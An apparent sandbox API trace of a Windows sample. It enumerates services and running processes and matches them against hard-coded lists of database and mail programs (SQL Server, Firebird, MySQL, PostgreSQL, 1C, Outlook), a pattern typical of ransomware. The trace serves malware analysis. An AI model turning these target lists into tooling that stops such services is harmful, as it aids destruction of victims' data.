[0168.430] lstrlenW (lpString="eventlog") returned 8 [0168.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0168.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0168.431] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0168.431] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0168.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0168.431] lstrlenW (lpString="EventSystem") returned 11 [0168.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0168.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0168.431] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0168.431] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0168.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0168.431] lstrlenW (lpString="gpsvc") returned 5 [0168.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0168.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0168.431] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0168.431] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0168.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0168.431] lstrlenW (lpString="iphlpsvc") returned 8 [0168.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.431] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0168.431] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0168.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0168.431] lstrlenW (lpString="LanmanServer") returned 12 [0168.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0168.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0168.431] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0168.431] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0168.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0168.431] lstrlenW (lpString="LanmanWorkstation") returned 17 [0168.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.432] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0168.432] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0168.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0168.432] lstrlenW (lpString="lmhosts") returned 7 [0168.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0168.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0168.432] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0168.432] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0168.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0168.432] lstrlenW (lpString="MMCSS") returned 5 [0168.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0168.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0168.432] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0168.432] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0168.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0168.432] lstrlenW (lpString="MpsSvc") returned 6 [0168.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0168.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0168.432] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0168.432] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0168.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0168.432] lstrlenW (lpString="Netman") returned 6 [0168.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0168.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0168.432] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0168.432] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0168.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0168.432] lstrlenW (lpString="netprofm") returned 8 [0168.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0168.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0168.433] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0168.433] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0168.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0168.433] lstrlenW (lpString="NlaSvc") returned 6 [0168.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0168.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0168.433] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0168.433] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0168.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0168.433] lstrlenW (lpString="nsi") returned 3 [0168.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0168.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0168.433] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0168.433] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0168.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0168.433] lstrlenW (lpString="PcaSvc") returned 6 [0168.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0168.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0168.433] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0168.433] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0168.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0168.433] lstrlenW (lpString="PlugPlay") returned 8 [0168.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0168.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0168.433] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0168.433] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0168.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0168.433] lstrlenW (lpString="Power") returned 5 [0168.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0168.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0168.434] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0168.434] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0168.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0168.434] lstrlenW (lpString="ProfSvc") returned 7 [0168.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0168.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0168.434] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0168.434] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0168.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0168.434] lstrlenW (lpString="RpcEptMapper") returned 12 [0168.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0168.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0168.434] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0168.434] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0168.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0168.434] lstrlenW (lpString="RpcSs") returned 5 [0168.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0168.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0168.434] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0168.434] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0168.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0168.434] lstrlenW (lpString="SamSs") returned 5 [0168.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0168.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0168.434] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0168.434] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0168.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0168.434] lstrlenW (lpString="Schedule") returned 8 [0168.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0168.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0168.435] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0168.435] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0168.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0168.435] lstrlenW (lpString="SENS") returned 4 [0168.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0168.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0168.435] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0168.435] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0168.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0168.435] lstrlenW (lpString="ShellHWDetection") returned 16 [0168.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0168.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0168.435] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0168.435] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0168.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0168.435] lstrlenW (lpString="Spooler") returned 7 [0168.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0168.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0168.435] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0168.435] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0168.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0168.435] lstrlenW (lpString="SysMain") returned 7 [0168.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0168.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0168.435] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0168.435] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0168.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0168.436] lstrlenW (lpString="Themes") returned 6 [0168.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0168.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0168.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0168.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0168.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0168.436] lstrlenW (lpString="TrkWks") returned 6 [0168.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0168.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0168.436] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0168.436] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0168.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0168.436] lstrlenW (lpString="UxSms") returned 5 [0168.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0168.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0168.436] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0168.436] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0168.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0168.436] lstrlenW (lpString="WdiServiceHost") returned 14 [0168.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0168.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0168.436] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0168.436] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0168.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0168.436] lstrlenW (lpString="WdiSystemHost") returned 13 [0168.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0168.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0168.436] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0168.436] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0168.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0168.437] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0168.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0168.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0168.437] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0168.437] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0168.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0168.437] lstrlenW (lpString="Winmgmt") returned 7 [0168.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0168.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0168.437] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0168.437] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0168.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0168.437] lstrlenW (lpString="WPDBusEnum") returned 10 [0168.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0168.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0168.437] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0168.437] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0168.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0168.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x42de628 | out: hHeap=0x630000) returned 1 [0168.437] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0168.439] Process32FirstW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.439] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0168.440] lstrlenW (lpString="System") returned 6 [0168.440] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0168.440] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0168.440] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0168.440] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0168.440] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0168.440] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0168.440] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0168.440] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0168.440] lstrlenW (lpString="smss.exe") returned 8 [0168.440] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0168.440] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0168.440] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0168.440] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0168.440] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0168.440] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0168.440] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0168.440] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.441] lstrlenW (lpString="csrss.exe") returned 9 [0168.441] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0168.441] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0168.441] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0168.441] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0168.441] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0168.441] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0168.441] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0168.441] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0168.441] lstrlenW (lpString="wininit.exe") returned 11 [0168.441] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0168.441] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0168.441] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0168.442] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0168.442] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0168.442] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0168.442] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0168.442] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.442] lstrlenW (lpString="csrss.exe") returned 9 [0168.442] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0168.442] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0168.442] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0168.442] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0168.442] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0168.442] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0168.442] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0168.443] lstrlenW (lpString="winlogon.exe") returned 12 [0168.443] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0168.443] lstrlenW (lpString="services.exe") returned 12 [0168.443] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0168.443] lstrlenW (lpString="lsass.exe") returned 9 [0168.443] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0168.444] lstrlenW (lpString="lsm.exe") returned 7 [0168.444] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.444] lstrlenW (lpString="svchost.exe") returned 11 [0168.444] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.444] lstrlenW (lpString="svchost.exe") returned 11 [0168.444] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.445] lstrlenW (lpString="svchost.exe") returned 11 [0168.445] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.445] lstrlenW (lpString="svchost.exe") returned 11 [0168.445] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.445] lstrlenW (lpString="svchost.exe") returned 11 [0168.445] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0168.446] lstrlenW (lpString="audiodg.exe") returned 11 [0168.446] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.446] lstrlenW (lpString="svchost.exe") returned 11 [0168.446] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0168.446] lstrlenW (lpString="explorer.exe") returned 12 [0168.446] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0168.447] lstrlenW (lpString="dwm.exe") returned 7 [0168.447] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.447] lstrlenW (lpString="svchost.exe") returned 11 [0168.447] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0168.447] lstrlenW (lpString="n.exe") returned 5 [0168.447] Process32NextW (in: hSnapshot=0x118, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0168.448] lstrlenW (lpString="spoolsv.exe") returned 